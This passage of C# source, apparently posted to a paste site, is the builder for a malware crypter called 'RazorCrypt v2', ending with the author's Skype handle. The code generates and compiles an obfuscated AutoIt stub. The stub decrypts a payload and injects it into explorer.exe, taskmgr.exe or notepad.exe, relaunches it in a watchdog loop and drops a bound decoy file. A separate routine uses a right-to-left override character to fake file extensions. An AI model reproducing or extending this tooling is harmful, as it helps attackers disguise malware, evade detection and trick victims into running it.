  1493. System.IO.File.Copy(this.openFileDialog3.FileName, str1 + "bind" + extension);
  1494. str13 = "FileInstall('bind" + extension + "',@TempDir & '\\abcww" + extension + "', 1)";
  1495. str14 = "ShellExecute(@TempDir & '\\abcww" + extension + "')";
  1496. }
  1497. else
  1498. {
  1499. str13 = "";
  1500. str14 = "";
  1501. }
  1502. string str15 = "#NoTrayIcon";
  1503. string str16 = "#Include <1sx.au3>";
  1504. if (System.IO.File.Exists(str1 + "res.ico"))
  1505. System.IO.File.Delete(str1 + "res.ico");
  1506. System.IO.File.Copy(str1 + "encrypted.data", str1 + "res.ico");
  1507. string str17;
  1508. if (this.checkBox12.Checked)
  1509. str17 = "MsgBox(0, '" + this.textBox6.Text + "', '" + this.richTextBox1.Text + "')";
  1510. else
  1511. str17 = "";
  1512. string str18 = "FileCopy($whguue & $grgwe, @TempDir & $grgwe & '2', 1)";
  1513. string str19 = "gts(@TempDir & $grgwe & '2')";
  1514. string str20 = "Global $32c525";
  1515. string str21 = "$32c525 = gekjnfweiuw17($gc3443c6,'" + this.textBox3.Text + "')";
  1516. string str22 = "";
  1517. string str23 = "$brn = krtzhref($32c525, '" + str22 + "', @ScriptFullPath)";
  1518. if (this.checkBox10.Checked)
  1519. {
  1520. if (this.radioButton3.Checked)
  1521. str23 = "$brn = krtzhref($32c525, '" + str22 + "', @WindowsDir & '\\system32\\explorer.exe')";
  1522. if (this.radioButton4.Checked)
  1523. str23 = "$brn = krtzhref($32c525, '" + str22 + "', @WindowsDir & '\\system32\\taskmgr.exe')";
  1524. if (this.radioButton5.Checked)
  1525. str23 = "$brn = krtzhref($32c525, '" + str22 + "', @WindowsDir & '\\system32\\notepad.exe')";
  1526. }
  1527. else
  1528. str23 = "$brn = krtzhref($32c525, '" + str22 + "', @ScriptFullPath)";
  1529. if (this.checkBox11.Checked)
  1530. str23 = "$brn = krtzhref($32c525, '" + str22 + "', @TempDir & '\\msupd.exe')";
  1531. if (this.checkBox3.Checked)
  1532. str23 = "$brn = gekjnfweiuw4($32c525)";
  1533. string str24;
  1534. string str25;
  1535. string str26;
  1536. string str27;
  1537. string str28;
  1538. string str29;
  1539. string str30;
  1540. if (this.checkBox7.Checked)
  1541. {
  1542. str24 = "While 1";
  1543. str25 = "Sleep(500)";
  1544. str26 = "gekjnfweiuw16()";
  1545. str27 = "If Not ProcessExists($brn) Then";
  1546. str28 = "$brn = krtzhref($32c525, '', @ScriptFullPath)";
  1547. str29 = "EndIf";
  1548. str30 = "WEnd";
  1549. }
  1550. else
  1551. {
  1552. str24 = "";
  1553. str25 = "";
  1554. str26 = "";
  1555. str27 = "";
  1556. str28 = "";
  1557. str29 = "";
  1558. str30 = "gekjnfweiuw16()";
  1559. }
  1560. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 70);
  1561. string path = str1 + "start.au3";
  1562. if (System.IO.File.Exists(path))
  1563. System.IO.File.Delete(path);
  1564. System.IO.File.AppendAllText(path, str3 + Environment.NewLine);
  1565. System.IO.File.AppendAllText(path, str2 + Environment.NewLine);
  1566. System.IO.File.AppendAllText(path, str4 + Environment.NewLine);
  1567. System.IO.File.AppendAllText(path, str5 + Environment.NewLine);
  1568. System.IO.File.AppendAllText(path, str6 + Environment.NewLine);
  1569. System.IO.File.AppendAllText(path, str7 + Environment.NewLine);
  1570. System.IO.File.AppendAllText(path, str8 + Environment.NewLine);
  1571. System.IO.File.AppendAllText(path, str9 + Environment.NewLine);
  1572. System.IO.File.AppendAllText(path, str10 + Environment.NewLine);
  1573. System.IO.File.AppendAllText(path, str11 + Environment.NewLine);
  1574. System.IO.File.AppendAllText(path, str12 + Environment.NewLine);
  1575. System.IO.File.AppendAllText(path, str13 + Environment.NewLine);
  1576. System.IO.File.AppendAllText(path, str14 + Environment.NewLine);
  1577. System.IO.File.AppendAllText(path, str15 + Environment.NewLine);
  1578. System.IO.File.AppendAllText(path, str16 + Environment.NewLine);
  1579. System.IO.File.AppendAllText(path, str17 + Environment.NewLine);
  1580. System.IO.File.AppendAllText(path, str18 + Environment.NewLine);
  1581. System.IO.File.AppendAllText(path, str19 + Environment.NewLine);
  1582. System.IO.File.AppendAllText(path, str20 + Environment.NewLine);
  1583. System.IO.File.AppendAllText(path, str21 + Environment.NewLine);
  1584. System.IO.File.AppendAllText(path, str23 + Environment.NewLine);
  1585. System.IO.File.AppendAllText(path, str24 + Environment.NewLine);
  1586. System.IO.File.AppendAllText(path, str25 + Environment.NewLine);
  1587. System.IO.File.AppendAllText(path, str26 + Environment.NewLine);
  1588. System.IO.File.AppendAllText(path, str27 + Environment.NewLine);
  1589. System.IO.File.AppendAllText(path, str28 + Environment.NewLine);
  1590. System.IO.File.AppendAllText(path, str29 + Environment.NewLine);
  1591. System.IO.File.AppendAllText(path, str30 + Environment.NewLine);
  1592. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 80);
  1593. if (System.IO.File.Exists(str1 + "start.exe"))
  1594. System.IO.File.Delete(str1 + "start.exe");
  1595. if (System.IO.File.Exists(str1 + "start.o.au3"))
  1596. System.IO.File.Delete(str1 + "start.o.au3");
  1597. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 90);
  1598. Process process2 = new Process();
  1599. process2.StartInfo.FileName = str1 + "usg.exe";
  1600. process2.StartInfo.WorkingDirectory = str1;
  1601. process2.Start();
  1602. process2.WaitForExit();
  1603. Process process3 = new Process();
  1604. process3.StartInfo.FileName = str1 + "Aut2Exe.exe";
  1605. if (this.checkBox2.Checked)
  1606. {
  1607. if (this.textBox2.Text == "")
  1608. {
  1609. int num3 = (int) MessageBox.Show("To get the best results you should use your own icon!");
  1610. process3.StartInfo.Arguments = "/in \"" + str1 + "start.o.au3\" /out \"" + str1 + "start.exe\" /icon \"" + str1 + "SkypeIcon.ico\" /x86 /unicode /comp 4";
  1611. }
  1612. else
  1613. process3.StartInfo.Arguments = "/in \"" + str1 + "start.o.au3\" /out \"" + str1 + "start.exe\" /icon \"" + this.textBox2.Text + "\" /x86 /unicode /comp 4";
  1614. }
  1615. else if (this.textBox2.Text == "")
  1616. {
  1617. int num3 = (int) MessageBox.Show("To get the best results you should use your own icon!");
  1618. process3.StartInfo.Arguments = "/in \"" + str1 + "start.o.au3\" /out \"" + str1 + "start.exe\" /icon \"" + str1 + "SkypeIcon.ico\" /nopack /x86 /unicode /comp 4";
  1619. }
  1620. else
  1621. process3.StartInfo.Arguments = "/in \"" + str1 + "start.o.au3\" /out \"" + str1 + "start.exe\" /icon \"" + this.textBox2.Text + "\" /nopack /x86 /unicode /comp 4";
  1622. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 95);
  1623. process3.StartInfo.WorkingDirectory = str1;
  1624. process3.Start();
  1625. process3.WaitForExit();
  1626. this.AskSaveFile();
  1627. }
  1628. }
  1629. }
  1630.  
  1631. public string AskSaveFile()
  1632. {
  1633. if (this.InvokeRequired)
  1634. {
  1635. // this.Invoke((Delegate) (() => this.AskSaveFile()));
  1636. }
  1637. else
  1638. {
  1639. int num1 = (int) this.saveFileDialog1.ShowDialog();
  1640. string fileName = this.saveFileDialog1.FileName;
  1641. if (!fileName.Contains(".exe"))
  1642. fileName += ".exe";
  1643. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 100);
  1644. string str = Path.GetTempPath() + Form1.gekjnfweiuwar(83);
  1645. if (System.IO.File.Exists(str + "start.exe"))
  1646. {
  1647. try
  1648. {
  1649. System.IO.File.Copy(str + "start.exe", fileName);
  1650. int num2 = (int) MessageBox.Show("Done!", "RazorCrypt v2");
  1651. Form1.SetControlPropertyThreadSafe((Control) this.label4, "Text", (object) "idle");
  1652. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 0);
  1653. }
  1654. catch
  1655. {
  1656. int num2 = (int) MessageBox.Show("Error!", "RazorCrypt v2");
  1657. }
  1658. }
  1659. else
  1660. {
  1661. int num3 = (int) MessageBox.Show("Error!", "RazorCrypt v2");
  1662. }
  1663. }
  1664. return (string) null;
  1665. }
  1666.  
  1667. private void button7gcgrlick(object sender, EventArgs e)
  1668. {
  1669. int num = (int) this.openFileDialog4.ShowDialog();
  1670. this.textBox8.Text = this.openFileDialog4.FileName;
  1671. }
  1672.  
  1673. private void button8gcgrlick(object sender, EventArgs e)
  1674. {
  1675. string text1 = this.textBox9.Text;
  1676. string text2 = this.textBox8.Text;
  1677. string withoutExtension = Path.GetFileNameWithoutExtension(text2);
  1678. string extension = Path.GetExtension(text2);
  1679. string str = '\x202E'.ToString() + Form1.ReverseString(text1) + extension;
  1680. this.textBox8.Text = withoutExtension + str;
  1681. this.saveFileDialog2.FileName = this.textBox8.Text;
  1682. int num = (int) this.saveFileDialog2.ShowDialog();
  1683. System.IO.File.Copy(text2, this.saveFileDialog2.FileName);
  1684. }
  1685.  
  1686. public static string ReverseString(string s)
  1687. {
  1688. char[] charArray = s.ToCharArray();
  1689. Array.Reverse((Array) charArray);
  1690. return new string(charArray);
  1691. }
  1692.  
  1693. private delegate void SetControlPropertyThreadSafeDelegate(Control control, string propertyName, object propertyValue);
  1694.  
  1695. private void label12_Click(object sender, EventArgs e)
  1696. {
  1697.  
  1698. }
  1699. }
  1700. }
  1701.  
  1702.  
  1703. my skype : yamod.gas
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement